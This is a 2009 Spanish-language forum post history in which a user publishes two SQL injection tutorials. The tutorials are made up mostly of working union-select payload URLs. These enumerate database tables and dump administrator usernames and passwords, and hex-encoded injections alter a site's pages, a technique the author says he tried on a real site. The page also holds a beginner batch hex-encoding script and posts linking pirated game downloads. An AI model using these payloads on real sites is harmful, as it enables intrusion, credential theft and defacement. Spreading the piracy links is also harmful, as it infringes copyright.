Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Demonic&Sound

Páginas1 2

Nivel Web / [Guía] SQLi (Modificando un PHP con valores Hexadecimales)

21 Diciembre 2009, 17:03 PM

Hola, Soy Demonic&Sound y hoy traigo esta guía echa por mi de como modificar el contenido de una web con SQLi.

PD: Antes de leer, necesitan haber leido el primero tutorial:
http://foro.elhacker.net/php/guia_sqli_inyeccion_sql-t278619.0.html

Contenido

Resumen de la guía anterior.
Comenzando ¿Hexadecimal?.
Tipos de usos con valores hexadecimales.
Conclusión.

1.Resumen de la guía anterior

Nosotros vimos en la guía anterior que las paginas .PHP vulnerables se pueden ver de tres formas básicas:

A.Consultando números negativos (pagina.cl/index.php?id=-1).

B.Consultando números con signos raros (pagina.cl/index.php?id='2).

C.Consultando muchos 9 (pagina.cl/index.php?id=999999999999999999).

Además vimos como seguir si la web entrega errores con las inyecciones:

-1+union+select+1,2,3,4,5,n (Asta que los números se vean en la pantalla).

También vimos como ver el information_schema.tables:

A. replace(group_concat(table_name),0x2C,0x3C62723E) (El más ordenado).

B.group_concat(table_name) (El más desordenado).

Seguido de los números (Si esque hay más números) y al final agregar

+information_schema.tables

También vimos como entrar en las columnas, ver su información, etc.

Ahora seguirmos con el tutorial número dos.

2.Comenzando ¿Hexadecimal?

A.¿Que es?

El sistema hexadecimal, a veces abreviado como hex, es el sistema de numeración posicional de base 16. Su uso actual está muy vinculado a la informática y ciencias de la computación.

B.¿Como lo vamos a utilizar en SQLi?

Simple, el sistema de SQL, puede soportar cualquier lenguaje en una inyección, ahora tú tendras que aprenderte estos códigos:

Para usar Hexadecimal en SQLi: (0xHex)
El código 0x le dice a la inyección que usaremos Hexa, y Hexa es el código que pondremos.

Ejemplo:
pagina.cl/main1.php?id=-1+union+select+1,2,3,4,5,6,7,8,(0xCodigoHex),10,11

Para usar ASCII en SQLi: char(ASCII)
El código char le dice a la inyección que usaremos ASCII, y ASCII es el código que pondremos, este código debe estare con comillas.

Ejemplo:
pagina.cl/main1.php?id=-1+union+select+1,2,3,4,5,6,7,8,char(ASCII),10,11

Solo veremos Hex y ASCII asta el momento, ya que son los más usados.

3.Tipos de usos con valores hexadecimales

Bueno, ahora que saben estos códigos, les diré que los códigos Hexadecimales, pueden contener cualquier tipo de archivo (HTML, PHP, javascript, PERL, ETC.) esto es excelente si queremos modificar una pagina web, aqui veran algunos ejemplos HTML:

<body background="http://www.chw.net/foro/images/smilies/icon_smile.gif">

este código lo debemos pasar a hexadecimal y para eso podemos usar esta pagina web:

Convert String To Hexadecimal Online

Bueno ya convertido es asi:

3c626f6479206261636b67726f756e643d22687474703a2f2f7777772e6368772e6e65742f666f726f2f696d616765732f736d696c6965732f69636f6e5f736d696c652e676966223e20

Ahora queremos cargarlo en nuestra página web, el código seria asi:

pagina.cl/main1.php?id=-1+union+select+1,2,3,4,5,6,7,8,0x3c626f6479206261636b67726f756e643d22687474703a2f2f7777772e6368772e6e65742f666f726f2f696d616765732f736d696c6965732f69636f6e5f736d696c652e676966223e20

En resumen es 0xcódigo hexadecimal, como ya dije, podemos poner cualquier tipo de comando, aquí la web que use de ejemplo para esto:

Feldgrau :: 2

Eso si, solo se cambiarían en esta url cifrada no se cambia a toda la gente que visite la página web, ahora mismo estoy reportándole el error al dueño de ese sitio. Bueno ahora ven lo facil que es modificar una pagina con SQLi, podriamos ponerle un texto, música, redireccionar, video, subir imagenes, etc.

4.Conclusión

Esta fue una guía, pequeña pero sigue siendo una para ustedes, aprendan y consulten, esta guía no fue echa para que esten destruyendo webs, ojo que yo no me hago responsable si estan haciendo cosas nefastas con la guía, ya que esta guía la ise para que aprendan no para que hagan daño, bueno aprendan.

Nivel Web / [Guía] SQLi (Inyección SQL)

21 Diciembre 2009, 16:57 PM

Que es y como funciona la SQLi (Inyección SQL).

Hola, Aquí una guía del SQLi

Contenido

¿Que es?.
Descripción.
¿En que lenguaje veremos su uso?.
Como saber si el sitio es vulnerable.
Proseguir si el sitio Web es vulnerable.
Explorar tu information_schema.tables
Viendo tu usuario y password para saber tu seguridad.
Conclusión.

1.¿Que es?

La Inyección SQL o SQLi es una vulnerabilidad centrada en consultas de la base de datos de una aplicación, esta vulnerabilidad puede estar en todo tipo de lenguajes de programación como por ejemplo PHP, JAVA, PERL, C#, ASP, etc.

2.Descripción

Una Inyección SQL o SQLi suele suceder cuando se inyecta un código SQL al lenguaje para alterar el contenido y su funcionamiento normal y hacer que se ejecute el código malicioso en la base de datos. La mayor de las veces estos errores en las SQL son por la ignorancia del lenguaje pero este código puede ser reparado por programadores o personas que tengan el conocimiento suficiente para poder reparar el error.

3.¿En que lenguaje veremos su uso?

PHP, será el lenguaje que usaremos para esta guía, ya que es en el que mas me domino, las paginas php son las que terminan con .php, como por ejemplo:

pagina.cl/index.php

4.Como saber si el sitio es vulnerable.

Para saber si el sitio es vulnerable existen varias formas de saber, como la versión del lenguaje php, si te creaste una Web con un auto instalador como SMF, PHP NUKE, etc,
procura siempre tener la versión mas nueva, ya que existen exploits o vulnerabilidades que pueden ser explotadas para que el sitio tenga un mal funcionamiento, se dice que PHP NUKE es uno de los proveedores de sitios php mas vulnerables, no se garantiza tenerlo solo por sus Themes "Temas" y su facilidad, se recomienda hacer paginas Web con el lenguaje HTML.
Tu sitio Web podría ser vulnerable a sus ID, actions, opcions, etc., estas vulnerabilidades quizás tu ya las hallas visto como:

pagina.cl/search.php?id=NUMERO
pagina.cl/menu.php?act=NUMERO
pagina.cl/index.php?opc=NUMERO

Algunos de esos podrían tener una vulnerabilidad SQLi para poder saber si tiene una vulnerabilidad habrá que hacer una consulta como:

pagina.cl/search.php?id=-1
pagina.cl/menu.php?act='2
pagina.cl/index.php?opc=99999999999999999999999999

Hay que probar con esas que son las básicas, en la primera sale -1, las páginas siempre están con números positivos es raro ver una página Web que tenga opciones con -1, -2 entonces causa de esto puede salir un error de SQLi, la pantalla podría ponerse blanca, etc.
En la segunda es un '2, ¿por qué '?, porque ' es un signo que no se usa en las páginas webs, o acaso has visto una Web que use ', el 2 es cualquier número pero la mayoría de las veces resulta el número 2, para saber si funciona sale lo mismo que en el ejemplo anterior.
En la tercera nunca ponen tantos números si te das cuenta casi siempre el usuario admin es pagina.cl o 1 porque es el primer miembro que estuvo pero si yo pongo pagina.cl la pagina Web colapsa y entregaría errores.

Ejemplo de error:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/public_html/users.php on line 16

5.Proseguir si el sitio Web es vulnerable.

PD: IMPORTANTE, si la web es vulnerable los 99999999 y -1 solo pueden continuar, el '2 da errores.

Si el sitio Web resulta vulnerable, y si es tú Web tendrías que saber si entrega datos importantes como la "Information_schema.tables", que contiene toda información de el sitio Web, las columnas, tablas, etc.

Primero como ya sabemos que el sitio Web es vulnerable debemos poner:

pagina.cl/users.php?id=-1+

Tenemos que poner el signo "+" pero obviamente antes la vulnerabilidad encontrada
luego debemos hacer un union+select+ que es para unir la selección de la vulnerabilidad y seguir, ahora:

pagina.cl/users.php?id=-1+union+select+

Quedaría así, como ya tenemos eso ahora debemos poner los números para ver que numero es el que tiene el error, una de las formas que se utiliza es así:

pagina.cl/users.php?id=-1+union+select+1,2,3,4,n

Tenemos que hacer esto asta que la web muestre números o cambie, pero debe mostrar números esos números que muestre son los errores, entonces podemos ver si nuestra Web es vulnerable o no, para saber tenemos que ver la versión:

pagina.cl/users.php?id=-1+union+select+1,2,3,@@version,5,6,7,8,9

Si fuera tu Web y es vulnerable podría decir algo como: 5.0.38-Ubuntu_0ubuntu1.4ahora que tenemos la versión este es un breve resumen de las versiones:
Versión 5.X.XX tienen information_schema.tables (Mas Probabilidad de ser atacadas)

Versión 4.X.XX no tienen information_schema.tables (Menos Probabilidad de ser atacadas)
Lo demás es el S.O que se esta usando en el Host. Si tu Web no es 5.X.XX podrías estar feliz de que tienes menos posibilidad de que "Defaceen" tu sitio Web.Pero si tu Web es 5.X.XX tienes mas probabilidades, para saber si tu página Web muestra datos importantes tendremos que borrar lo que hicimos (@@version) y cambiarlo por el numero que tenia el error, ahora debemos ver el information_schema.tables de nuestro sitio Web, el código es así:

pagina.cl/users.php?id=-1+union+select+1,2,3,group_concat(table_name),5,6,7,8,9+information_schema.tables

El código en si explicado es cambiar el numero que tiene error (que se muestra) por "group_concat(table_name)" que significa que busca el grupo de tablas (Todas) luego de eso seguimos con los otros números y al final se le agrega "+information_schema.tables", si te tira cosas como:

"CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,etc."

Es porque tu sitio es vulnerable y podrías perderlo si alguien tiene conocimientos y un pensamiento nefasto.

Pero el codigo anterior es un poco desordenado este es otro compuesto por frases en hexadecimal:

pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_name),0x2C,0x3C62723E),5,6,7,8,9+information_schema.tables

6.Explorando tu information_schema.tables

Ahora que sabemos que en nuestro sitio es visible el information_schema.tables, debemos saber que información obtendrá el atacante.
primero debemos saber que queremos explorar... como por ejemplo usuarios

!
las paginas web no son tan "prehistóricas" para solo poner usuarios y te saldrán los datos así que encriptaremos la tabla que queramos ver a ASCII.

(Convertidor: String to ASCII chart, ASCII to decimal convertor, String to decimal converter, string hexadecimal / hex conversion)

Codificamos a ascii la tabla que queramos y la dejamos anotada, la mía es (97 100 109 105 110)
a nuestro código en ASCII le sacamos los espacios y los remplazamos por comas:

97,100,109,105,110

Ahora volvemos a el código para ver el information_schema.tables, pero ahora lo que vamos a ver son columnas (Son lo que esta dentro de una tabla) Ejemplo:

Tabla: Admin
Columna: ID, User_Name, Password, Email

Entendido?, entonces remplazamos

pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_name),0x2C,0x3C62723E),5,6,7,8,9+information_schema.tables

table_name por column_name
information_schema.tables por information_schema.columns

quedaría así:

pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_column),0x2C,0x3C62723E),5,6,7,8,9+information_schema.columns

Ahora nos tiraría datos que no habíamos visto, pero ignoren esto, ya que no es muy importante ahora lo que tienen que hacer es agregar después de .columns esto:

Quedaría así:

pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_column),0x2C,0x3C62723E),5,6,7,8,9+information_schema.columns+where+table_name=char(ASCII)--

Ahora ya sabemos lo que esta dentro de la tabla que queríamos

!, hemos explorado nuestra information_schema.tables eso es un gran avance.

7.Viendo tu Usuario y Password Para saber tu seguridad

Ahora como sabemos todo esto podemos ver que hay en estas columnas

!, para saber debemos ir muy atrás y tener nuestro código principal que es este:

pagina.cl/users.php?id=-1+union+select+1,2,3,4,5,6,7,8,9

¿Cierto?, Bueno ahora manos a la obra (Frase Prehistórica), Bueno nosotros sabemos que el código donde esta el error es el que se ve en la pagina web que es un número; en esta guía el número es 4 así que remplazaremos el numero 4 por concat(Columna,0x3d,Columna).

Entonces el Código quedaría así:

pagina.cl/users.php?id=-1+union+select+1,2,3,concat(Columna,0x3d,Columna),5,6,7,8,9

No me refiero a que se deba poner sí o sí "Columna" eso se debe renombrar por los datos que nos dio el information_schema.columns, como el ejemplo que di:

Tabla: Admin
Columna: ID, User_Name, Password, Email

Entonces quedaría así:

pagina.cl/users.php?id=-1+union+select+1,2,3,concat(User_Name,0x3d,Password),5,6,7,8,9

Ahora tengo que decirles que este código no esta completo, al final de los números les agregamos +from+Tabla--

Entonces quedaría algo así:

pagina.cl/users.php?id=-1+union+select+1,2,3,concat(Columna,0x3d,Columna),5,6,7,8,9+from+admin--

y renombrando quedaría:

pagina.cl/users.php?id=-1+union+select+1,2,3,concat(User_Name,0x3d,Password),5,6,7,8,9+from+admin--

Ahora te podria dar tu usuario y clave, si te deniega es porque tu host es mas seguro de lo que pensabas, si te las da, procura que nadie sepa el error antes que tu y arreglalo.

8.Conclusión

Ahora sabemos que nuestro sitio es vulnerable (o no) tenemos que reparar el error, eso no esta en esta guía, ya que los errores varían, este tutorial no es para destruir páginas sino para la seguridad informática de nuestro sitio Web, dedicado a foro.elhacker.net y a todos los que tengan sed de aprender.

Regalo de Demonic&Sound

Diseño Gráfico / Re: necesito ayuda para crear un logo

2 Noviembre 2009, 18:14 PM

._., mira yo podria ayudare pero necesito porlomenos una idea clara, puede ser degradado o fxs brushes el tipo de font explicate ._. biocat@hotmail.es asd lol

Scripting / batch encryptor v1

1 Noviembre 2009, 22:44 PM

porfavor diganme que le puedo corregir soy nuevo en esto llevo 2 dias en batch.

Citar@echo off
color 0a
title Encryptor v1
:intro
cls
echo.
echo.
echo .:Encryptor:.
echo.
echo.
echo By Biocat
echo.
echo.
pause>nul
goto :menu
:menu
cls
echo.
echo.
echo [1]Hex Encryptor
echo [2]Hex Desencryptor
echo [3]Exit
echo.
set /p menu=
if %menu%==1 goto hex
if %menu%==2 goto xeh
if %menu%==3 goto ext
:hex
cls
echo.
echo.
echo Insert the word
set/p palabra="Word>> "
set bio=%palabra:a=61%
set bio=%bio:b=62%
set bio=%bio:c=63%
set bio=%bio:d=64%
set bio=%bio:e=65%
set bio=%bio:f=66%
set bio=%bio:g=67%
set bio=%bio:h=68%
set bio=%bio:i=69%
set bio=%bio:j=6a%
set bio=%bio:k=6b%
set bio=%bio:l=6c%
set bio=%bio:m=6d%
set bio=%bio:n=6e%
set bio=%bio:o=6f%
set bio=%bio:p=70%
set bio=%bio:q=71%
set bio=%bio:r=72%
set bio=%bio:s=73%
set bio=%bio:t=74%
set bio=%bio:u=75%
set bio=%bio:v=76%
set bio=%bio:w=77%
set bio=%bio:x=78%
set bio=%bio:y=79%
set bio=%bio:z=7a%
set bio=%bio:@=40%
set bio=%bio:€=80%
set bio=%bio:.=2e%
set bio=%bio:,=2c%
set bio=%bio:;=3b%
set bio=%bio:-=2d%
set bio=%bio:_=5f%
set bio=%bio:¬=1f%
set bio=%bio:!=21%
set bio=%bio:"=22%
set bio=%bio:$=24%
set bio=%bio:&=26%
set bio=%bio:/=2f%
set bio=%bio:(=28%
set bio=%bio:)=29%
set bio=%bio:?=3f%
set bio=%bio:<=3c%
set bio=%bio:>=3e%
set bio=%bio:1=31%
set bio=%bio:2=32%
set bio=%bio:3=33%
set bio=%bio:4=34%
set bio=%bio:5=35%
set bio=%bio:6=36%
set bio=%bio:7=37%
set bio=%bio:8=38%
set bio=%bio:9=39%
set bio=%bio:0=30%
set bio=%bio:+=2b%
set bio=%bio:-=2d%
cls
echo. "%palabra%" Encrypted = %bio%
pause>nul
goto sel
:sel
cls
echo.
echo [1]Another word
echo [2]Menu
echo.
set /p msel=
if %msel%==1 goto hex
if %msel%==2 goto menu
:xeh
cls
echo.
echo.
echo Insert the word
set/p palabra="Word>> "
set bio=%palabra:61=a%
set bio=%bio:62=b%
set bio=%bio:63=c%
set bio=%bio:64=d%
set bio=%bio:65=e%
set bio=%bio:66=f%
set bio=%bio:67=g%
set bio=%bio:68=h%
set bio=%bio:69=i%
set bio=%bio:6a=j%
set bio=%bio:6b=k%
set bio=%bio:6c=l%
set bio=%bio:6d=m%
set bio=%bio:6e=n%
set bio=%bio:6f=o%
set bio=%bio:70=p%
set bio=%bio:71=q%
set bio=%bio:72=r%
set bio=%bio:73=s%
set bio=%bio:74=t%
set bio=%bio:75=u%
set bio=%bio:76=v%
set bio=%bio:77=w%
set bio=%bio:78=x%
set bio=%bio:79=y%
set bio=%bio:7a=z%
set bio=%bio:40=@%
set bio=%bio:80=€%
set bio=%bio:2e=.%
set bio=%bio:2c=,%
set bio=%bio:3b=;%
set bio=%bio:2d=-%
set bio=%bio:5f=_%
set bio=%bio:1f=¬%
set bio=%bio:21=!%
set bio=%bio:22="%
set bio=%bio:24=$%
set bio=%bio:26=&%
set bio=%bio:2f=/%
set bio=%bio:28=(%
set bio=%bio:29=)%
set bio=%bio:3f=?%
set bio=%bio:3c=<%
set bio=%bio:3e=>%
set bio=%bio:31=1%
set bio=%bio:32=2%
set bio=%bio:33=3%
set bio=%bio:34=4%
set bio=%bio:35=5%
set bio=%bio:36=6%
set bio=%bio:37=7%
set bio=%bio:38=8%
set bio=%bio:39=9%
set bio=%bio:30=0%
set bio=%bio:+=2b%
set bio=%bio:-=2d%
cls
echo. "%palabra%" Encrypted = %bio%
pause>nul
goto sel
:sel
cls
echo.
echo [1]Another word
echo [2]Menu
echo.
set /p msel=
if %msel%==1 goto xeh
if %msel%==2 goto menu

Juegos y Consolas / Fifa Manager 09 Reloaded

10 Marzo 2009, 00:22 AM

INFO: http://paste2.org/p/94751

Descarga: http://rapidshare.com/files/159606032/FIFA_Manager_09-RELOADED.rar.html

FIFA Manager 09 te ofrece un control total sobre la gestión de un club de fútbol. Tu serás el responsable de elegir la formación, las tácticas y los entrenamientos de tu equipo – así como obtener los derechos de un jugador y mejorar las instalaciones de tu club y de tu estadio. Será importante que mantengas unas buenas relaciones con tus jugadores, el consejo, los patrocinadores y la prensa. Pero FIFA Manager 09 es mucho más que todo esto. Gestionar tu equipo nacional es una de las opciones dónde podrás asumir el papel de entrenador o elegir alguno de los jugadores. Y por último tenemos el gran desafío: encontrar a tu club y disputar las ligas hasta llegar a proclamaros campeones.

Sistema operativo: Windows XP ó Vista
Procesador: 2.6 GHz o superior
Tarjeta gráfica: 128 MB
Memoria RAM: 1 GB

Espacio en disco duro: 3 GB[/color][/size]

Juegos y Consolas / Call Of Duty World Of War [5]

8 Marzo 2009, 23:41 PM

El modo de historia destaca dos campañas, un destacar la Infantería de Marina de los Estados Unidos que combate el Ejército japonés en el Océano Pacífico, y otro después del Ejército Rojo soviético que asalta Berlín. Una parte de un nivel titulado " Haciendo la Incursión " muestra un prisionero de guerra Aliado siendo torturado por un japonés antes de que este mismo le corte la garganta con su katana. El carácter del jugador atestigua esta escena y más tarde es rescatado por los Marines estadounidenses que liberan el campo. Dos otros niveles más tarde fueron revelados por IGN: uno implica al jugador que usa las ametralladoras sobre Catalina PBY para atacar una flota japonesa naval, y el otro muestra el principio de la campaña rusa. En aquel nivel, el jugador y un francotirador ruso atacan tropas alemanas bajo la cubierta de una incursión de bombardeo.

Descarga:
http://www.megaupload.com/?d=HARRWJ8K
*** Es un archivo .txt, donde estan los links del juego full.